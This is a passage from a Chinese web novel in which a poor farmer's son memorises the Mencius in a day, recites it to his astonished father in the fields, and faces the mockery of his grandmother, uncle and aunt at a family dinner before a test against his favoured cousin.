刚才那一个时辰的高强度记忆和理解,几乎将他一夜恢复的精力消耗殆尽。 再有天赋的读书人,也需要休息! 毕竟人的身体是有极限的! 陆明渊非但没有沮丧,反而松了口气。 有极限,才符合逻辑。 有逻辑,就意味着可以被掌控和提升。 他站起身,推开房门,准备到院子里走走,让大脑休息一下,顺便活动一下僵硬的身体。 他刚一脚踏出房门,一道尖酸刻薄的声音就从东厢房那边传了过来。 “哟,这不是我们家发宏愿要考状元的读书人吗?这才什么时辰,日头刚晒到屁股,就不读了?” 第006章 陆明文要回来了 说话的,正是三婶王氏。 她正端着一盆淘米水准备泼到院角的菜地里。 看到陆明渊从屋里出来,立刻就停下了脚步。 王氏心里正不痛快。 自家儿子陆明文读书的时候,天不亮就被他爹从被窝里揪起来,逼着去书房念书。 一直到晌午吃饭才能出来! 可这个陆明渊倒好,装模作样地读了一个时辰,就出来闲逛了? 果然是个扶不上墙的烂泥! 还想跟她家明文比? 简直是笑话! “还真以为自己是读书的料了?” 王氏心中暗啐一口,声音不大不小,恰好能让院子里的人都听见。 “我们家明文,每日晨读,雷打不动,至少三个时辰,不读完《论语》二十篇是绝不肯出房门的。” “有些人啊,就是嘴上说得好听,没那个耐性,也没那个命!” 陆明渊只是淡淡地瞥了她一眼,脸上没有任何多余的表情。 跟一个眼界只在这一方庭院的妇人计较,平白拉低了自己的格局。 陆明渊没有理会王氏的挑衅,径直走到院子中央。 迎着初升的朝阳,缓缓地打了一套前世为了强身健体而学的太极拳。 动作舒缓,气息绵长,整个人都沉浸在一种奇妙的宁静之中。 他的无视,在王氏看来,却是被说中了心事后的心虚和逃避。 “哼,装神弄鬼!” 王氏重重地哼了一声,将盆里的淘米水“哗啦”一下全泼了出去,转身扭着腰回了东厢房。 陆明渊对这一切充耳不闻,他的心神,已经完全沉浸在了对自己身体和能力的探索之中。 他能清晰地感觉到,随着拳架的展开和呼吸的吐纳,脑海中那股疲惫感正在一丝一缕地慢慢消散。 他感觉自己的身体缓缓发热,有了一些不一样的变化! 陆明渊收拳而立,缓缓吐出一口浊气时。 那股虚弱与疲惫,消散了七七八八。 取而代之的,是一种前所未有的清明与轻盈。 这套在前世被公园大爷们当做广播体操的太极拳,在这个世界,似乎展现出了某种不可思议的效用。 或许,这就是他安身立命的第一个“理”。 陆明渊转身,脚步轻快地走回了自家的西厢房。 屋内的光线有些昏暗,床上,一个瘦小的身影蜷缩着,正是他三岁的弟弟,陆明泽。 陆明渊放轻脚步走过去,本想将他叫醒,却发现小家伙的眼睛已经睁开了。 “醒了?” 他放柔了声音。 陆明泽点了点头,小小的身子从破旧的被子里钻出来,张开双臂。 陆明渊笑了笑,俯身将他抱了起来。 小家伙的身体轻飘飘的,没什么分量,却紧紧地搂住了他的脖子,然后在他的脸颊上,响亮地亲了一口。 “哥。” 声音软糯,带着一丝刚睡醒的沙哑,却像是一股暖流,瞬间融化了陆明渊心中最后那一丝属于异世的隔阂。 这是他的弟弟,是他这一世需要守护的人。 “欸,哥在。” 他熟练地帮弟弟穿上打了好几个补丁的旧衣服。 陆明泽乖巧地配合着,直到穿戴整齐,小手还一直紧紧抓着陆明渊的衣角,仿佛一松手,哥哥就会不见一样。 …… 日头西斜,炊烟袅袅。 陆从文从田里回来时,路过村口的老槐树,几个乘凉的庄稼汉正摇着蒲扇闲聊。 “哟,从文,这是捡到金元宝了?看把你给乐的。” 一个老汉打趣道。 陆从文咧开嘴,只是憨厚地笑着,摆了摆手。 “哪有啥喜事,瞎乐呵。” “不对啊,你这嘴都快咧到耳根子了。” 另一个邻居凑过来,好奇地问。 “快说说,是不是你家明文又得先生夸奖了?” 在他们看来,陆家二房的陆明文,才是陆家的希望。 陆从文脸上的笑容微微一滞,但随即又绽放开来,那是一种更加质朴,也更加真挚的喜悦。 他摇了摇头,声音不大,却带着一股压抑不住的骄傲。 “不是明文。” 他顿了顿,然后才一字一句地说道:“是我家明渊,也开始读书了。我心里……高兴!” 这话落在老槐树下几个庄稼汉的耳朵里,像是听到了什么天大的笑话。 短暂的寂静后,是一阵哄堂大笑。 “从文,你没发烧吧?”一个汉子用蒲扇指了指他。 “你家明渊?那个从小跟着你在田里打滚,晒得跟个黑炭似的小子?他读书?” “就是啊,读书那玩意儿,是咱们这种泥腿子能碰的吗?那得是明文那样的文曲星下凡才行。” “明渊都下地这么多年了,筋骨都定了型,现在捡起书本,还能读出个名堂?” 这些话里,没有太多恶意,更多的是一种根植于骨子里的认知。 他们一辈子面朝黄土背朝天,深知命运的轮廓有多么坚硬,不是谁想改就能改的。 读书科举,那是属于另一个世界的故事,与他们无关,也与他们身边的人无关。 陆从文的脸涨红了,不是羞愧,而是急切。 他笨拙地挥着手,想为儿子辩解,却又不知从何说起,最后只汇成一句最朴实的话。 “我儿子想读,我就让他读!” “哪怕是砸锅卖铁,我也得让他试试!万一……万一就成了呢?” 回应他的,是更大声的,善意的笑声。 “行行行,你家要出两个状元郎了,我们可等着喝喜酒啊!” “从文,快回家吃饭吧,你婆娘该等急了。” 笑声中,陆从文不再解释,只是咧着嘴笑了笑,向家里走去。 …… 推开吱呀作响的院门。 “父亲回来了?”陆明渊抬起头,看见了门口的父亲。 “欸,回来了。” 陆从文放下锄头,憨厚地笑着,走过去摸了摸小儿子的头。 “明泽乖,没给你哥添乱吧?” 陆明泽仰起小脸,骄傲地挺了挺胸膛。 “我帮哥哥烧火了!” “好,好,我们明泽长大了。” 这时,西厢房的门帘一挑,一个身形同样清瘦的妇人走了出来,正是王氏。 她手里捧着一叠东西,用一块干净的蓝布包着。 “当家的,你回来了。” 她走到陆从文面前,将手里的布包递过去。 “这是我这个月攒下的绣活,一共二十匹帕子,你明日抽空去趟县里,把它们卖了。” 陆从文接过布包,入手微沉,说道:“卖了给你换身衣裳吧,这身上的再补也不合适。” 王氏却摇了摇头:“不换了,明渊要读书,总不能连像样的纸笔都没有。” “我问过村里的吴秀才,一套笔墨纸砚,最便宜的也要大半两银子。” “这些帕子我用了心的,应该能换回一两银子。” “给明渊买些笔墨纸砚,剩下的,就给他买几本旧书。” 他一个字都没反驳,只是重重地点了点头,将那布包小心翼翼地揣进怀里,贴着胸口放好。 一家人,围着一张破旧的方桌,喝着寡淡的稀粥,配着一碟咸菜,却吃得格外香甜。 就在这份静谧的温馨中,院门外忽然传来一阵熟悉的吆喝声。 “从智家的!从智!在不在家?” 是村里专靠赶牛车帮人捎带东西去县城的赵老头。 话音未落,东厢房的门“吱呀”一声开了。 陆从智快步走了出来,脸上堆着热切的笑。 “赵大爷,在这儿呢!是不是我家明文有信捎回来了?” 赵老头喘了口气,从牛车上跳下来,拍了拍身上的灰。 “可不是嘛!明文少爷让我给家里带个话,说他明日就从县学回来了!” “让你们提前把屋子拾掇拾掇,再备些好吃的,他在县里念书,可清苦着呢!” 第007章 书我已经背熟了 “我们家明文回来啦?” 陆从智的声音陡然拔高了八度,喜得眉飞色舞。 “好!好!好!回来得好!” 他一边搓着手,一边在院子里踱步,眼神不经意地扫过西厢房这边。 真是瞌睡了就有人送枕头! 他正愁怎么掐灭大哥家那小子的读书梦呢,这下好了。 自己的宝贝儿子一回来,那可是县学里正儿八经的读书人。 随便考教几句,就能让那泥腿子出身的陆明渊知道什么叫天高地厚,让他自己断了那不切实际的念想! 省得日后真读出点皮毛来! “老婆子!娘!快出来!明文要回来了!” 陆从智扯着嗓子就朝正屋喊去。 一听见宝贝孙子要回来的消息,陈氏那张布满皱纹的脸瞬间笑成了一朵菊花,精神头十足。 “我的乖孙要回来了?哎哟,可想死我老婆子了!” “这可是我们陆家的大喜事!明文回来,得去祠堂给老祖宗上炷香,告慰列祖列宗在天之灵!” “也得让村里那些长舌头看看,我们陆家,是要出状元郎的!” 她的目光在院子里扫了一圈,最后落在陆从智身上,用一种不容置喙的语气命令道。 “从智,去,把后院那只下蛋的老母鸡给杀了!给我乖孙炖锅鸡汤,好好补补身子!” “读书最是耗费心神,可不能亏待了!” 三婶王氏立刻在一旁帮腔:“娘说的是!明文可是咱们家的宝贝疙瘩,不像有些人,不干正事,就知道瞎折腾,白费粮食!” 这话,明晃晃的就是冲着西厢房这一家子来的。 陆从文的脸瞬间涨红了,端着碗的手微微颤抖,嘴唇翕动了几下,却终究没说出一个字。 母亲的话,就是家里的天,他不能反驳。 他妻子的脸色也白了白,默默地低下头,将小儿子往怀里揽了揽。 那只老母鸡,是她养了两年多的。 平日里下的蛋,她一个都舍不得吃,全攒着想给孩子补身体,或是换点盐巴。 现在,却要被杀了,整个院子的空气,仿佛瞬间被抽干了。 唯有陆明渊,依旧坐在那里,慢条斯理地喝着碗里最后一口粥。 他抬起头,迎上二叔和三婶投来的挑衅目光,又看了看祖母有些得意骄傲的脸。 他的眼神很静,不起一丝波澜。 堂弟陆明文,县学里的读书人。 明天就回来了。 二叔大张旗鼓地说着这个消息,就是想要让陆明文考教考教自己。 正好,陆明渊也想试试! 他用了一天将孟子背得滚瓜烂熟,也需要验证验证! 他这个过目不忘的本事,究竟有几分真,几分假! 鸡鸣三遍,陆家大院的东西两厢,几乎同时有了动静。 东边,是陆从智兴奋的搓手声和三婶王氏压低了嗓门的催促。 他几乎是跳着起了床,胡乱地用冷水抹了把脸。 连早饭都顾不上吃一口,便穿上了一件半新的短褂,脚步轻快地朝着村口的大槐树下走去。 他的儿子,今日就要回来了。 村口的老槐树下,已经三三两两聚了些早起闲话的村人。 见陆从智来了,一个个都笑着打趣。 “从智,这么早,等明文少爷呢?” “那可不,”陆从智挺直了腰杆,脸上是藏不住的得意:“孩子在县学里念书辛苦,难得回来一趟,我这当爹的,总得来迎一迎。” …… 而西边,天光尚未完全透进屋子,陆从文已经披衣下床。 他的动作很轻,生怕吵醒了尚在熟睡的妻儿。 他没有点灯,就着那点微弱的晨光,端起昨夜剩下的半碗稀粥,咕噜几口喝下。 拿起那把磨得光滑的锄头,便推门走进了清晨的薄雾里。 秋收的季节,每一粒粮食都是一家人的命。 二弟要去村口等侄儿,这是天经地义的喜事。 那地里的活,自然就落在了他一个人的肩上。 读书好啊。 能读书,便是最大的指望。 这身子骨累一些,又算得了什么? 他愿意用自己这一身的力气,去为儿子铺出一条通往书山的路。 …… 西厢房内,陆明渊并未点灯。 窗外天光已足,足以让他看清书页上那些沉静了千年的文字。 “……民为贵,社稷次之,君为轻。” 他没有出声,只是在心里默念。 一个时辰,悄然而过。 当窗外的阳光开始变得炽热。 他将整本《孟子》在脑海中从头到尾地梳理一遍,确认再无一丝错漏之后,他缓缓合上了书。 院子里很静,静得能听到灶房里母亲准备午饭的轻微声响。 东厢房那边,却毫无动静。 陆明渊的眉头微微皱起。 二叔陆从智,平日里虽说懒散,但终究是个壮劳力。 农忙时节,哪怕是磨洋工,也能帮着分担不少。 可今天,为了迎接他那宝贝儿子,竟是连地都不下了。 那地里成片的稻子,就靠父亲一个人收割? 一股无名的火气,夹杂着对这具身体父亲的心疼,从他心底升起。 他站起身,将书本小心翼翼地放在桌上,又拿起墙角的草帽和一把小些的镰刀,推门而出。 “渊儿?你怎么……” 正在院里晾晒衣物的王氏看见儿子拿着农具出来,不由得一愣。 恰在此时,东厢房的门帘被掀开一条缝。 三婶那张刻薄的脸一闪而过,嘴角挂着一丝毫不掩饰的轻蔑和得意。 我就知道! 什么读书,什么长进,都是装模作样! 一听说我们家明文要回来了,知道自己不是那块料,这不就乖乖滚回地里刨食去了? 泥腿子,终究是泥腿子,还妄想飞上枝头变凤凰? 白费了心思防着他! 那眼神,像一根针,刺得王氏脸色发白。 陆明渊却仿佛没有看见,他只是对着母亲平静地笑了笑。 “娘,书已经温习完了。我去地里帮帮爹。” 说完,他便迈开步子,走出了院门。 …… 田埂上。 陆从文刚刚割完一垄,正扶着腰,大口大口地喘着气,汗水模糊了他的双眼。 就在这时,一个熟悉的身影出现在田埂的尽头。 他以为自己眼花了,用力地眨了眨眼。 没错,是明渊。 他的儿子,穿着一身干净的短衫,头戴草帽,手里……还拿着一把镰刀! “你……你来做什么!” 陆从文的心猛地一沉,一股怒气混杂着失望涌上心头。 他三步并作两步冲过去,一把夺过陆明渊手里的镰刀。 “谁让你来的!回去!快给我回去读书!” 面对父亲的雷霆之怒,陆明渊淡淡的开口。 “爹,今天的书,我已经温习完了。” “温习完了?”陆从文气地发笑。 “这才什么时辰!那本《孟子》何其厚重,圣人经典,岂是你一天两天就能看完的?” “你这是在敷衍我!是不是听说明文要回来了,你心里就……就打了退堂鼓?” “没有。” 陆明渊摇了摇头,目光清澈如洗。 “爹,书我已经背熟了。” “背熟了?这才几天?你就背熟了?”陆从文不信,眼中甚至有了失望。 陆明渊没有多说什么,直接开始背诵起来。 第008章 我儿子,是文曲星下凡 “孟子见梁惠王。王曰:‘叟!不远千里而来,亦将有以利吾国乎?’ 孟子对曰:‘王!何必曰利?亦有仁义而已矣。 王曰:‘何以利吾国?’ 大夫曰:‘何以利吾家?’ 士庶人曰:‘何以利吾身?’上下交征利而国危矣……” 没有丝毫的停顿,没有半点的磕绊。 陆从文脸上的怒气,渐渐凝固了。 他以前也是读书人,《孟子》自然知晓。 这一刻,他握着镰刀的手,开始微微颤抖。 愣愣地看着自己的儿子,仿佛是第一天认识他。 这……这是他的渊儿? 那个曾经被断定为没有读书天分的儿子? “……此惟救死而恐不赡,奚暇治礼义哉?苟为后义而先利,不夺不餍。” “未有仁而遗其亲者也,未有义而后其君者也。王亦曰仁义而已矣,何必曰利?” 一段背完,陆明渊停了下来,静静地看着父亲。 田野里,只剩下风吹过稻浪的沙沙声。 陆从文的嘴唇翕动着,喉结上下滚动,却一个字也说不出来。他眼中的震惊,已经无法用言语来形容。 “我……我前天晚上才把书给你……” “你,你就用了一天就都背熟了?” 他喃喃自语,像是在问自己,又像是在问天。 “爹,您不信?” 陆明渊微微一笑,“您随便考。” “我……我考你……” 陆从文的大脑一片空白,他努力地回想着自己为数不多的那点墨水。 想起了当初吴秀才教他时,反复强调的几个地方。 “那……那篇,讲‘五十步笑百步’的,后面是什么?” 他用尽全力,才问出这么一句。 陆明渊不假思索,朗声应道。 “……填然鼓之,兵刃既接,弃甲曳兵而走。或百步而后止,或五十步而后止。以五十步笑百步,则何如?’ 曰:‘不可,直不百步耳,是亦走也。’ 曰:‘王如知此,则无望民之多于邻国也。’” 一字不差! 陆从文的心,狠狠地跳了一下。 他还不死心,或者说,他不敢相信这天大的喜悦是真的。 他又想了想,问道:“那……那句‘生于忧患,死于安乐’,前面是怎么说的?” “故天将降大任于是人也,必先苦其心志,劳其筋骨,饿其体肤,空乏其身,行拂乱其所为,所以动心忍性,曾益其所不能。” “人恒过,然后能改;困于心,衡于虑,而后作;征于色,发于声,而后喻。入则无法家拂士,出则无敌国外患者,国恒亡。然后知生于忧患,而死于安乐也。” 陆明渊的声音沉稳而有力,尤其那句“天将降大任于是人也”,在这片广阔的田野上回荡,竟有一种振聋发聩的力量。 “哐当”一声。 陆从文手中的镰刀,掉在了地上。 他再也支撑不住,双腿一软,竟是“噗通”一声,跪坐在了田埂上。 他抬起头,呆呆地看着眼前的儿子。 那张清瘦的脸庞,在阳光下,仿佛镀上了一层金光。 那双沉静的眼眸,深邃得像是藏着星辰大海。 这不是他的儿子。 不,这正是他的儿子! “过目不忘……你……你真的过目不忘……” 陆从文的声音在颤抖,他伸出那双满是泥污和老茧的手,想要去摸一摸儿子的脸,却又在半空中停住。 生怕自己这双粗鄙的手,玷污了天上的文曲星。 “爹,我没有骗您。” 陆明渊走上前,将父亲扶了起来。 “《孟子》我已经全部记下了,今天晚上,就让奶奶和二叔他们考教。” “我只是想告诉您,读书和劳作,并不冲突。张弛有道,方能长久。” “好……好……好啊!” 陆从文终于从那巨大的震惊中回过神来。 他一把抓住儿子的肩膀,用力地摇晃着,仿佛要将这天大的喜悦给摇实了。 他哭了。 一个四十多岁的庄稼汉,一个被生活压弯了脊梁的男人,此刻却像个孩子一样。 在这片他耕耘了半辈子的土地上,嚎啕大哭。 泪水混着汗水,从他那饱经风霜的脸颊上滚滚而下。 那是喜悦的泪,是激动的泪,是压抑了十几年,终于看到希望的泪! 文曲星! 他的儿子,是真正的文曲星下凡啊! 什么陆明文,什么县学里的读书人,在自己儿子这神仙般的本事面前,又算得了什么? 他小心翼翼地捡起地上的镰刀,像是捧着一件稀世珍宝,然后郑重地塞到陆明渊手里。 不,他随即又抢了回来。 “不,你不能干这个!你的手,是用来拿笔的!不是用来拿镰刀的!” 他语无伦次,拉着陆明渊就往回走。 “走!回家!爹不累!爹一点都不累!爹现在浑身都是劲儿!这些活,爹一个人就能干完!” “你快回去,回去看书!不,别看《孟子》了,爹明天就去县城,把那些帕子卖了,给你买新书!” “买全套的!买最好的!” 他兴奋得满脸通红。 陆明渊被父亲推上田埂。 而陆从文仿佛喝醉了酒般回到田地里,嘴里颠三倒四地念叨着“文曲星”、“祖宗显灵”之类的话。 他不再让陆明渊碰一下镰刀,甚至不让他弯一下腰。 他自己像是换了个人,挥舞镰刀的速度,比之前快了何止一倍。 陆明渊没有再争,他只是默默地跟在后面,将割倒的稻子一把把抱起,整齐地码放在田埂上。 父子二人,一个疯魔般地割,一个沉静地收。 硬是在日头偏西之前,将剩下那一大片稻田收拾得干干净净。 金黄的稻谷堆在骡车上,高高耸起,像一座小山。 …… 陆从文牵着那头老骡,走在前面,脚步轻快得仿佛能飞起来。 陆明渊跟在车旁,夕阳将他们的影子拉得很长。 投射在乡间的小路上,一前一后,一高一矮,竟有一种说不出的和谐。 村口,老槐树下,又聚拢了些歇工的村人。 他们大多是扛着锄头,满身疲惫,准备回家吃饭。 当看到陆从文那辆满载而归的骡车时,脸上都露出了几分羡慕。 “从文,可以啊,今年收成不错。” 一个黑瘦的汉子笑着打招呼。 “那是自然。” 陆从文咧着嘴,一口白牙在黝黑的脸庞上格外显眼。 这时,有人眼尖,看到了跟在骡车旁的陆明渊,不由得咦了一声。 “从文家的,你家明渊不是在屋里用功吗?这才一天,怎么就跟着你下地了?” “莫不是吃不了读书的苦,想通了?” 这话一出,周围顿时响起一片善意的哄笑声。 在他们看来,读书是天大的事,也是天大的难事。 陆家庄能出一个在县学念书的陆明文,已经是祖坟冒青烟了。 至于这个陆明渊,早前不就试过了吗?不是那块料。 如今装模作样一天,就打回原形,实在是再正常不过。 “别这么说孩子,”另一个上了年纪的老者劝道。 “读不进去就算了,不是那块料,强求也没用。回来跟你学种地,将来也是个好庄稼把式。” 若是换做今天之前,陆从文听到这些话,怕是只能低着头,尴尬地赔笑。 但今天,他不一样了。 他非但没有丝毫窘迫,反而将胸膛挺得更高,声音洪亮。 “你们懂个啥!” “我儿子,是天上的文曲星下凡!那本厚厚的《孟子》,一天!就一天!全都背下来了!一个字不差!” “他是看书看完了,心疼我这个当爹的一个人在地里受累,才出来帮忙的!” “我儿子是读书的好苗子,更是个孝顺的好孩子!” 这番话,说得是掷地有声,慷慨激昂。 然而,老槐树下的村人们,先是一愣,随即爆发出比刚才更响亮的笑声。 “哈哈哈,从文,你这是高兴糊涂了吧?” “就是,一天背完一本《孟子》?县学里的秀才老爷也不敢这么说大话啊!” “行了行了,知道你心疼儿子,想给孩子脸上贴金,咱们都懂,都懂。” 第009章 大哥大嫂就是疼孩子 没有人相信。 在他们朴素的认知里,这比地里能长出金子还要荒唐。 他们只当是陆从文爱子心切,又拉不下脸面,才编出这么个离奇的由头来为儿子遮掩。 一个个脸上都挂着“我们看破不说破”的笑容。 陆从文见他们不信,急得脸红脖子粗,还想争辩,却被陆明渊轻轻拉了一下衣袖。 “爹,回去吧。” 陆明渊的声音很平静。 “跟他们说不着。” 有些事,说再多遍,不如做一遍。 陆从文看着儿子那双平静的眸子,心头的火气竟奇迹般地平复了下去。 是啊,跟这些凡夫俗子争辩什么? 我儿子的本事,是给那些大人物,给朝廷的老爷们看的! 他冷哼一声,不再理会众人,牵着骡子,昂首挺胸地走过老槐树。 等到父子俩的身影消失在村道拐角,老槐树下的议论声才再次响起,只是这次,话语里多了几分不屑。 “我看从文是魔怔了,为了个儿子,什么胡话都敢说。” “可不是嘛,他陆家是走了什么运?出了一个陆明文还不够,还想再出个文曲星?” “那他家祖坟可真不是冒青烟,是烧高香,着大火了!” “哈哈哈哈……” …… 陆家大院,西厢房的门,是开着的。 王氏正坐在门槛上,手里拿着针线,眼睛却不住地往院门口瞟。 当那熟悉的老骡身影和一大车稻谷出现在视野里时,她脸上露出了欣慰的笑容。 可当她看清跟在车旁,那个穿着短衫、裤腿上沾满泥点的身影时,她脸上的笑容,瞬间凝固了。 是渊儿。 他……他真的下地去了。 王氏只觉得眼前一黑,整个世界都开始旋转。 什么变了性子,什么想要读书,都是假的。 都是她这个做娘的,一厢情愿的痴心妄想。 她的心,像是被一只无形的大手狠狠攥住,疼得无法呼吸。 眼泪毫无征兆地涌了上来,模糊了视线。 她怕被丈夫和儿子看到自己的失态,猛地站起身,几乎是逃也似的冲回了房间。 “砰”的一声关上了门。 …… 陆从文察觉到了不对劲,他放下骡绳,不解地挠了挠头:“你娘这是……咋了?” 陆明渊没有回答父亲,他走到那扇紧闭的房门前。 “娘。” 门内的哭声,微微一滞。 “我已经把《孟子》背完了。” “爹已经考教过了,不信,您可以问爹。” 门后,一片死寂。 陆明渊继续说道:“我知道您不信。没关系。今晚,二叔和明文堂哥就要回来了。奶奶肯定要当着全家人的面,考教我和明文的功课。” “到时候,您和爹,就坐在旁边听着。儿子是不是在用心读书,是不是那块料,到那时候,您一看便知。” 说完,他便不再言语,转身帮着父亲开始卸车上的稻谷。 房门内,王氏背靠着冰冷的门板,缓缓滑坐在地。 泪水依旧在流淌。 她不知道该不该信。 理智告诉她,这不可能。 可那是自己儿子…… 是真是假…… 就等到晚上吧。 她抬起袖子,狠狠地擦干了眼泪。 不管是最后的希望,还是最终的绝望,她都等着。 …… 夜色如墨,陆家有点压抑。 陆从文闷头烧火,灶膛里的火光映得他那张黝黑的脸忽明忽暗。 王氏则在案板上切菜,刀刃与木板碰撞的声音。 陆明渊坐在小板凳上,怀里抱着三岁的弟弟陆明泽。 小家伙已经睡了一觉,此刻精神正好。 “哥,我饿。” 小明泽的鼻子用力嗅了嗅,小声说。 锅里炖着一只老母鸡,是王氏养了很久的,下蛋最勤。 本是想给大病初愈的明渊补身子,也庆祝儿子重新读书。 …… 就在这时,院门外传来了一阵喧闹的说笑声,由远及近。 “明文啊,你可得记住了,陈夫子说的话,那都是金玉良言!” “今年县试,你定要一举拿下案首,给你爹,给你奶奶,给咱们陆家长长脸!” 这声音尖细而得意,是三婶赵氏。 紧接着,一个苍老却中气十足的声音响了起来。 “何止是县试!我老婆子今天在祠堂,听族老们说了,只要明文过了县试,入了府学,将来就是秀才公,是举人老爷!” “咱们陆家,就要出第二个读书人了!” 是老太太陈氏。 她的声音里,满是毫不掩饰的骄傲与期盼。 院门被“吱呀”一声推开,一行三人走了进来。 走在最前面的是老太太陈氏,她穿着一身浆洗得发白的蓝布衣裳,头发梳得一丝不苟,插着一根银簪子。 她的腰杆挺得笔直,脸上沟壑纵横的皱纹里,都盛满了笑意。 跟在她身侧的是三叔陆从智,他比陆从文要白净斯文些,脸上挂着几分自得的笑容。 扶着老太太的手往里走,一副孝子贤孙的模样。 被二人簇拥在中间的,便是十三岁的陆明文。 他穿着一身簇新的青布长衫,身形瘦高,下巴微微扬起,眼神里带着少年人特有的矜持与傲气。 他刚从县学休沐回来。 “娘,三弟,明文,回来了。” 陆从文站起身,搓着手,脸上挤出笑容。 王氏也停下了手里的活计,低眉顺眼地喊了一声:“娘。” 老太太陈氏“嗯”了一声,目光在院子里扫了一圈,最后落在灶台那口锅上,眉头一皱。 “磨蹭什么?明文在县学里苦读,难得回来一趟,饭菜怎么还没好?还不快端上来!” 她的语气,理所当然,不容置喙。 “诶,好了,马上就好。” 陆从文连忙应着,手脚麻利地将饭菜一一端上堂屋的八仙桌。 一家人分主次坐下。 老太太陈氏自然是上座,陆从智和陆明文坐在她的左手边。 陆从文、王氏则带着陆明渊和弟弟,坐在了下首。 …… 当陆从文将那一大碗热气腾腾的炖鸡端上来时,满屋的香气瞬间达到了顶峰。 金黄的鸡汤上飘着几点碧绿的葱花,鸡肉炖得酥烂,香气钻进鼻孔,勾得人腹中馋虫大动。 小明泽的眼睛一下子就亮了,口水“吧嗒”一下滴在了衣襟上。 他眼巴巴地望着那碗鸡,小声对陆明渊说:“哥,肉。” 老太太陈氏拿起筷子,直接将最大的一只鸡腿夹起,放进了陆明文的碗里,脸上的笑容慈爱得能化出水来。 “明文,多吃点。读书最是耗费心神,得好好补补。这只鸡,就是专门给你炖的。” 陆明文矜持地点了点头,说了声“谢奶奶”,便埋头吃了起来。 赵氏在一旁看得心花怒放,嘴上却道:“娘,您也太偏心了,就惯着他。” 话是这么说,她却又夹了一块翅膀,放进儿子碗里。 陆从智嘿嘿笑着,给老娘夹了一块肉,一家人其乐融融。 桌子的另一头,气氛却冷得像冰。 小明泽眼巴巴地看着陆明文碗里的鸡腿,小嘴瘪了瘪,却懂事地没有哭闹,只是将头埋进了陆明渊的怀里。 陆明渊心中微叹。 他伸出筷子,在那碗里拣了一块不算起眼的鸡肉,仔细地剔掉骨头,吹凉了,才放进弟弟的碗里。 “吃吧。” 他轻声说。 这个动作,就像一颗石子投入了平静的池塘。 三婶赵氏那双精明的眼睛立刻扫了过来,她用帕子擦了擦嘴角,不阴不阳地开口了。 “哎呦,大哥大嫂就是疼孩子。” “明渊今天没念书,跟着大哥下地割了一天稻子,可不是累坏了?是该吃块鸡肉好好补补!” 第010章 这个问题,哪里是考背诵? 这话一出,堂屋里的空气瞬间凝固了。 她每一个字都带着刺。 “没念书”、“下地割稻”,精准地戳在王氏最痛的地方。 这哪里是关心,分明是在炫耀她的儿子在县学苦读,而陆明渊,已经“自甘堕落”,成了一个泥腿子。 “砰!” 老太太陈氏的脸色骤然一沉,将筷子重重地拍在桌上。 她冰冷的目光刀子一样刮过陆明渊,最后落在陆从文夫妇身上,怒道:“我早就说过,他不是那块料!偏你们不信邪,非要让他装模作样地读一天!” “怎么,读不下去了,就跑去地里撒野?我们陆家的脸,都被你们大房丢尽了!” 陆从智的嘴角,勾起一抹得意的笑容,一副置身事外的看戏模样。 王氏的脸“唰”地一下变得惨白,浑身都在发抖。 她猛地站起身,胸口剧烈起伏,悲愤的泪水在眼眶里打转,几乎就要脱口而出。 “娘!渊儿他……” 然而,一只沉稳的手,轻轻地按住了她的手腕。 是陆明渊。 他不知何时已经站了起来,挡在了母亲面前。 他没有看盛怒的奶奶,也没有理会幸灾乐祸的三叔三婶,甚至没有瞧一眼那个埋头吃肉、假装没听见的堂哥陆明文。 他的声音不疾不徐,清晰地回荡在每个人的耳边。 “三叔送的那本《孟子》,侄儿已经背完了。” “书既读完,自当为父亲分忧,下地做些力所能及之事。这,亦是圣人教诲的孝道。” 陆明渊的声音不大,却像一枚投入死水潭中的石子,在堂屋里激起了一圈圈无声的涟漪。 死寂之中,一声尖锐的嗤笑如利刃般划破了压抑的空气。 三婶赵氏用一方帕子掩着嘴,眉眼间尽是刻薄的讥讽:“哎哟,我当是什么大道理呢。” “莫不是今天下地,日头太毒,把脑子给晒傻了?胡话都说到这份上了。” 她顿了顿:“一天看完《孟子》?你当自己是文曲星下凡,还是圣人夫子转世?真是笑掉人的大牙!” 她身旁的陆从智也跟着嘿嘿笑出了声,摇着头,以长辈的姿态说道:“明渊啊,莫要说这等玩笑话。一天看完《孟子》,便是县学的陈夫子亲至,怕是也做不到的。” “砰!” 一声巨响,老太太陈氏那只枯瘦的手重重拍在八仙桌上,震得碗碟一阵乱响。 她那张布满沟壑的脸已经彻底沉了下来。 “好,好一个陆明渊!” 她怒极反笑,声音却冰冷如霜。 “书读不进去,自甘堕落也就罢了,如今竟还学会了撒谎骗人!” 老太太的胸口剧烈起伏着,她指着陆明渊,对一旁的陆从文怒斥道:“你就是这么教儿子的?不学无术就罢了,还骗人?” “今日,我若不请出家法,往后还不知要教出个什么无父无母、欺瞒长辈的孽障来!” “家法”二字一出,王氏的脸“唰”地一下血色尽褪,身子晃了晃,险些栽倒。 陆从智在一旁看得是眉开眼笑,悠闲地夹了一筷子菜,一副置身事外,只等着看好戏的模样。 就在这时,一个沉闷却异常坚定的声音响了起来:“母亲,何必这么着急?” 说话的,竟是一直沉默不语的陆从文。 他缓缓站起身,这个平日里在老太太面前永远是低眉顺眼、憨厚老实的庄稼汉,此刻腰杆却挺得笔直。 他的目光没有闪躲,平静地迎向老太太陈氏惊愕的视线。 “明渊有没有撒谎,考教一番,不就知道了?” 这番话,不卑不亢,却让整个屋子的人都愣住了。 老太太陈氏怔怔地看着自己的大儿子,仿佛第一天认识他。 陆从智脸上的笑容也僵住了。 他怎么也想不通,这个一棍子打不出个闷屁来的大哥,今天怎么敢当面顶撞娘? 难不成……这个陆明渊,真能过目不忘? 一个荒谬的念头在老太太和陆从智心头一闪而过,但随即就被他们掐灭。 不可能,绝不可能! 赵氏最先反应过来,她眼珠一转,立刻又笑了起来,只是那笑意未达眼底。 “哟,大哥这是怎么了?平日里最是老实本分,今天也跟着孩子学坏,学会合起伙来骗人了?” 她故作夸张地说道:“也罢,既然大哥都这么说了,那咱们就考教考教。省得传出去,倒说我们三房容不下侄子,刻意打压。” 她说着,便扭头看向自己的儿子,眼中闪过一丝不易察觉的狡黠,朝陆明文使了个眼色。 “明文,你就在县学念书,平日里夫子也常拿《孟子》考教你们。今日,便由你来考考你堂弟!” 这个提议,正中老太太下怀。 她冷哼一声,算是默许了。 陆从智更是得意洋洋,心中暗道,陆明渊啊陆明渊,你还敢撒谎,看你今天怎么收场!让你丢脸丢到祖宗面前去! 王氏的心瞬间提到了嗓子眼,她紧张地攥着衣角,手心全是冷汗。 尽管方才儿子悄悄捏了捏她的手,示意她放心,可她如何能放得下心? 那可是整整一本《孟子》啊! 